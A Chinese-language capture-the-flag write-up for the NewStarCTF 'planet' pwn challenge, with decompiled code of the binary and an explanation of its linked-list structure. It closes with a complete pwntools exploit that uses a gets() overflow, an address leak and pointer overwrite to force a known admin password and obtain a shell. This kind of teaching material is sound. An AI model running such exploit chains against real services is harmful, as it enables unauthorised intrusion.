这道题目更多是考pwner的逆向功底(虽然程序逻辑也不是非常复杂=_=)

老规矩,先checksec查看程序



保护全开

看一下main函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
unsigned int v4; // eax
char s1[88]; // [rsp+20h] [rbp-60h] BYREF
unsigned __int64 v6; // [rsp+78h] [rbp-8h] v6 = __readfsqword(0x28u);
alarm(0x78u);
printf("Passwd: ");
fflush(stdout);
gets(s1);
if ( !strcmp(s1, "secret_passwd_anti_bad_guys") )
{
v4 = time(0LL);
srand(v4);
sub_13E7();
sub_1929();
}
return 0LL;
}

这里执行了两个函数sub_13E7(); sub_1929();,跟进去看一下

unsigned int sub_13E7()
{
puts("Welcome in a new dimension...");
fflush(stdout);
puts("\t...Boooom... the big bang sound...");
fflush(stdout);
sub_12F2();
sleep(1u);
puts("\t\ta new universe has begun, with new physics laws...");
fflush(stdout);
puts("\t...here stacks look safe!");
fflush(stdout);
return sleep(1u);
}

跟进函数sub_12F2();

char *sub_12F2()
{
char *result; // rax
int i; // [rsp+4h] [rbp-1Ch]
char *v2; // [rsp+8h] [rbp-18h]
char *dest; // [rsp+10h] [rbp-10h]
char *src; // [rsp+18h] [rbp-8h]
char *srca; // [rsp+18h] [rbp-8h] dest = (char *)malloc(0x28uLL);
::dest = dest;
*((_QWORD *)dest + 4) = 0LL;
src = (char *)sub_1245(5LL);
strcpy(dest, src);
*((_QWORD *)dest + 2) = &dword_40D0;
free(src);
for ( i = 0; i <= 9; ++i )
{
v2 = (char *)malloc(0x28uLL);
srca = (char *)sub_1245(5LL);
strcpy(v2, srca);
free(srca);
*((_QWORD *)v2 + 2) = &dword_40D0;
*((_QWORD *)dest + 3) = v2;
*((_QWORD *)v2 + 4) = dest;
dest = v2;
}
result = v2;
*((_QWORD *)v2 + 3) = 0LL;
return result;
}

这里就比较有意思了,很明显全局变量::dest不是简单的字符串指针,根据下面的代码

	dest = (char *)malloc(0x28uLL);
::dest = dest;
.........
v2 = (char *)malloc(0x28uLL);
.........
*((_QWORD *)dest + 3) = v2;
*((_QWORD *)v2 + 4) = dest;
dest = v2;

是不是感觉有些眼熟,这个函数就是双向链表的建立。现在我们创建一个结构体,然后将结构体映射到变量上

00000000 Plane struc ; (sizeof=0x28, mappedto_8)
00000000 str db 16 dup(?)
00000010 level dq ? ; offset
00000018 next dq ? ; offset
00000020 prev dq ? ; offset
00000028 Plane ends
00000028

这是修改后的代码,可读性是不是高多了。流程就是创建一个长度为11的双向链表,::dest为头结点,链表的数据域里存一个char str[16]数组和int *p指针,str为从字母表中生成的长度为5的随机字符串,int指针指向一个全局变量。(注意:::destdword_40D0两个全局变量被我重命名为 head 和 global_level)

Plane *CreateLinklist()
{
Plane *result; // rax
int i; // [rsp+4h] [rbp-1Ch]
Plane *p; // [rsp+8h] [rbp-18h]
Plane *dest; // [rsp+10h] [rbp-10h]
char *src; // [rsp+18h] [rbp-8h]
char *srca; // [rsp+18h] [rbp-8h] dest = (Plane *)malloc(0x28uLL);
head = dest;
dest->prev = 0LL;
src = RandomCode(5);
strcpy(dest->str, src);
dest->level = &global_level;
free(src);
for ( i = 0; i <= 9; ++i )
{
p = (Plane *)malloc(0x28uLL);
srca = RandomCode(5);
strcpy(p->str, srca);
free(srca);
p->level = &global_level;
dest->next = p;
p->prev = dest;
dest = p;
}
result = p;
p->next = 0LL;
return result;
}

好,第一个函数sub_13E7();分析完了,现在分析第二个函数sub_1929();

void sub_1929()
{
int i; // [rsp+8h] [rbp-68h]
char s1[88]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int64 v2; // [rsp+68h] [rbp-8h] v2 = __readfsqword(0x28u);
while ( 1 )
{
printf("What is your next move? (Help)\n>");
fflush(stdout);
gets(s1);
for ( i = 0; i <= 9; ++i )
{
if ( !strcmp(s1, off_4100[i]) )
{
funcs_19CE[i]();
i = 10;
}
}
}
}

这里的逻辑很明显就是菜单选择,存在一个字符串指针数组off_4100和函数指针表funcs_19CE,将用户输入的字串与字符串数组比较,找到对应的位置则执行函数指针表中对应的操作。

这里是两个指针数组对应的数据(为了方便阅读,这里我对一些函数和变量进行了重命名)

0000000000004100 08 20 00 00 00 00 00 00       cmd_list dq offset aHelp                ; DATA XREF: Choice+6A↑o
.data:0000000000004100 ; "Help"
.data:0000000000004108 0D 20 00 00 00 00 00 00 dq offset aExit_0 ; "Exit"
.data:0000000000004110 12 20 00 00 00 00 00 00 dq offset aJump ; "Jump"
.data:0000000000004118 17 20 00 00 00 00 00 00 dq offset aGetname ; "GetName"
.data:0000000000004120 1F 20 00 00 00 00 00 00 dq offset aRename ; "Rename"
.data:0000000000004128 26 20 00 00 00 00 00 00 dq offset aCheck ; "Check"
.data:0000000000004130 2C 20 00 00 00 00 00 00 dq offset aGoback ; "GoBack"
.data:0000000000004138 33 20 00 00 00 00 00 00 dq offset aSearch ; "Search"
.data:0000000000004140 3A 20 00 00 00 00 00 00 dq offset aNap ; "Nap"
.data:0000000000004148 3E 20 00 00 00 00 00 00 dq offset aAdmin ; "Admin"
.data:0000000000004150 00 00 00 00 00 00 00 00 00 00+align 20h
.data:0000000000004160 78 14 00 00 00 00 00 00 9E 14+func_list dq offset sub_1478 ; DATA XREF: Choice+95↑o
.data:0000000000004160 00 00 00 00 00 00 AC 14 00 00+ ; Choice+9C↑r
.data:0000000000004160 00 00 00 00 54 15 00 00 00 00+dq offset sub_149E
.data:0000000000004160 00 00 89 15 00 00 00 00 00 00+dq offset Next
.data:0000000000004160 86 16 00 00 00 00 00 00 0F 16+dq offset GetName
.data:0000000000004160 00 00 00 00 00 00 FF 16 00 00+dq offset SetName
.data:0000000000004160 00 00 00 00 4A 17 00 00 00 00+dq offset Back
.data:0000000000004160 00 00 D3 17 00 00 00 00 00 00 dq offset Check
.data:0000000000004160 dq offset sub_16FF
.data:0000000000004160 dq offset nap
.data:0000000000004160 dq offset Admin
.data:00000000000041B0 ; __int64 (*off_41B0)(void)
.data:00000000000041B0 86 18 00 00 00 00 00 00 off_41B0 dq offset getshell ; DATA XREF: Admin:loc_185D↑r

这里关键的函数有四个Next GetName SetName Admin

先分析Admin函数

__int64 Admin()
{
const char *v0; // rsi
char s1[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h] v3 = __readfsqword(0x28u);
printf("Insert the secret passwd\n> ");
fflush(stdout);
gets(s1);
v0 = RandomCode(30);
if ( !strcmp(s1, v0) )
{
off_41B0();
}
else
{
puts("Password is wrong");
fflush(stdout);
}
return 0LL;
}

程序生成一个长度为30的随机字符串,若输入的密码与它一致即可获取shell。

这里有两种利用方案,一是修改srand函数的初始值为一个定值,然后根据这个种子生成的数字序列来获得程序生成的字符串。但是回看main函数,储存初始值的变量v4为寄存器变量,不在栈上面,无法被修改。而且初始值的赋值在gets函数之后,即使有条件修改也会被覆盖,故此方法行不通。

二是修改.data段的字母表的数据全为同一个值,这样无论怎么随机生成的也是长度为30的固定字符串。

00000000000040D0 01 00 00 00                   global_level dd 1
00000000000040D4 00 00 00 00 00 00 00 00 00 00+db 0Ch dup(0)
00000000000040E0 61 62 63 64 65 66 67 68 69 6A+aAbcdefghijklmn db 'abcdefghijklmnopqrstuvwxyz',0

接下来分析剩下的三个函数

__int64 Next()
{
puts("I'm going to the next planet...");
fflush(stdout);
if ( (global_level & 1) != 0 )
{
++global_level;
if ( head->next )
{
head = head->next;
}
else
{
puts("I can't... the next planet is a black hole");
fflush(stdout);
}
return 0LL;
}
else
{
puts("Sorry, I'm too tired, I need a nap!");
fflush(stdout);
return 0LL;
}
} __int64 GetName()
{
printf("I'm on the planet called: %s\n", head->str);
fflush(stdout);
return 0LL;
} __int64 SetName()
{
size_t v0; // rax
char s[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u);
puts("Enter the new name");
fflush(stdout);
gets(s); // data overwrite
v0 = strlen(s);
strncpy(head->str, s, v0);
return 0LL;
}

看完这三个函数应该有思路了吧。

SetName函数存在明显的数据覆盖漏洞,可以将链表的指针域覆写为目标地址,然后实现任意地址写。

攻击思路:将链表内的字符数组填满,利用GetName函数可以泄露全局变量global_level的地址,这就相当于泄露了字母表字符串的地址,然后通过SetName修改链表的Next指针为字母表地址,再执行Next函数,使要修改的地址为字母表地址,接着执行SetName函数将字母表覆盖为单一数据,最后执行Admin函数输入密码即可获取shell。

exp:

from pwn import *
context(arch = "amd64",os = "linux",log_level = "debug")
local = 0
if local:
io = process("./pwn")
else:
io = remote("node4.buuoj.cn", 28455) def start():
io.recvuntil(b"Passwd: ")
io.sendline(b"secret_passwd_anti_bad_guys") def rename(content):
io.sendlineafter(b"next move? (Help)\n>", b"Rename")
io.sendline(content) def getname():
io.sendlineafter(b"next move? (Help)\n>", b"GetName") def getShell():
io.sendlineafter(b"next move? (Help)\n>", b"Admin")
io.sendlineafter(b"passwd\n> ",b'a'*30) def Next():
io.sendlineafter(b"next move? (Help)\n>", b"Jump") def Back():
io.sendlineafter(b"next move? (Help)\n>", b"Check") start()
rename(b'a'*16)
getname()
io.recvuntil(b"planet called: ")
leakAddr = u64(io.recv(16+6)[16:].ljust(8,b'\x00'))
payload = b'a'*0x18+p64(leakAddr+0x10)
rename(payload)
Next()
rename(b"a"*26)
getname()
getShell() io.interactive()

[NewStarCTF WEEK5] pwn-planet 详解的更多相关文章

  1. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

  2. mvn详解

    1.前言 Maven,发音是[`meivin],"专家"的意思.它是一个很好的项目管理工具,很早就进入了我的必备工具行列,但是这次为了把project1项目完全迁移并应用maven ...

  3. Unity Jobsystem 详解实体组件系统ECS

    原文摘选自Unity Jobsystem 详解实体组件系统ECS 简介 随着ECS的加入,Unity基本上改变了软件开发方面的大部分方法.ECS的加入预示着OOP方法的结束.随着实体组件系统ECS的到 ...

  4. maven pom文件详解

    http://www.blogjava.net/hellxoul/archive/2013/05/16/399345.html http://blog.csdn.net/houpengfei111/a ...

  5. Linq之旅:Linq入门详解(Linq to Objects)

    示例代码下载:Linq之旅:Linq入门详解(Linq to Objects) 本博文详细介绍 .NET 3.5 中引入的重要功能:Language Integrated Query(LINQ,语言集 ...

  6. 架构设计:远程调用服务架构设计及zookeeper技术详解(下篇)

    一.下篇开头的废话 终于开写下篇了,这也是我写远程调用框架的第三篇文章,前两篇都被博客园作为[编辑推荐]的文章,很兴奋哦,嘿嘿~~~~,本人是个很臭美的人,一定得要截图为证: 今天是2014年的第一天 ...

  7. EntityFramework Core 1.1 Add、Attach、Update、Remove方法如何高效使用详解

    前言 我比较喜欢安静,大概和我喜欢研究和琢磨技术原因相关吧,刚好到了元旦节,这几天可以好好学习下EF Core,同时在项目当中用到EF Core,借此机会给予比较深入的理解,这里我们只讲解和EF 6. ...

  8. Java 字符串格式化详解

    Java 字符串格式化详解 版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 文中如有纰漏,欢迎大家留言指出. 在 Java 的 String 类中,可以使用 format() 方法 ...

  9. Android Notification 详解(一)——基本操作

    Android Notification 详解(一)--基本操作 版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 源码:AndroidDemo/Notification 文中如有纰 ...

  10. Android Notification 详解——基本操作

    Android Notification 详解 版权声明:本文为博主原创文章,未经博主允许不得转载. 前几天项目中有用到 Android 通知相关的内容,索性把 Android Notificatio ...

随机推荐

  1. Stable Diffusion基础:ControlNet之人体姿势控制

    在AI绘画中精确控制图片是一件比较困难的事情,不过随着 ControlNet 的诞生,这一问题得到了很大的缓解. 今天我就给大家分享一个使用Stable Diffusion WebUI + OpenP ...

  2. 不重启Docker能添加自签SSL证书镜像仓库吗?

    应用背景 在企业应用Docker规划初期配置非安全镜像仓库时,有时会遗漏一些仓库没配置,但此时应用程序已经在Docker平台上部署起来了,体量越大就越不会让人去直接重启Docker. 那么,不重启Do ...

  3. Midjourney的一些学习心得:如何高效的图生图

    注意本文没有什么长篇大论,全部是自己的学习心得. 心得体会:如何图生图 今天在一篇midjourney看到好图应该怎么抄. 相信经常会看到好图也想要的,但是要么抄不出感觉,要么抄过来把水印也抄了,这一 ...

  4. MQ系列14:MQ如何做到消息延时处理

    MQ系列1:消息中间件执行原理 MQ系列2:消息中间件的技术选型 MQ系列3:RocketMQ 架构分析 MQ系列4:NameServer 原理解析 MQ系列5:RocketMQ消息的发送模式 MQ系 ...

  5. 提高 Web 开发效率的10个VS Code扩展插件,你知道吗?

    前言 一个出色的开发工具可以显著提高开发人员的开发效率,而优秀的扩展插件则能更进一步地提升工具的效率.在前端开发领域,VSCode毫无疑问是目前最受欢迎的开发工具.为了帮助前端开发人员提高工作效率,今 ...

  6. MySQL数据库触发器讲解 [创建/删除/查询/select into]

    刚学习实例完mysql触发器, 前来分享学习经验.    菜鸟装逼,  老鸟勿喷 先来认识一下有关触发器的一些关键词.  在使用触发器时, 这些关键词将被用到, 请记下它们的模样和用途(意思) cre ...

  7. Ds100p -「数据结构百题」总集

    (来自 2021 的 ps:这个页面是几百年前写的,很丑,caution!) 前言 \(\qquad \qquad \qquad\)ljs搞了一个dp100题,然后lyc告诉我我们搞一个数据结构100 ...

  8. Ds100p -「数据结构百题」41~50

    41.P3590 [POI2015]TRZ 给定一个长度为n的仅包含'B'.'C'.'S'三种字符的字符串,请找到最长的一段连续子串,使得这一段要么只有一种字符,要么有多种字符,但是没有任意两种字符出 ...

  9. 聊聊基于Alink库的决策树模型算法实现

    示例代码及相关内容来源于<Alink权威指南(Java版)> 概述 决策树模型再现了人们做决策的过程,该过程由一系列的判断构成,后面的判断基于前面的判断结果,不断缩小范围,最终推出结果. ...

  10. VisionPro学习笔记(4)——PatInspect

    如果需要了解其他图像处理的文章,请移步小编的GitHub地址 传送门:请点击我 如果点击有误:https://github.com/LeBron-Jian/ComputerVisionPractice ...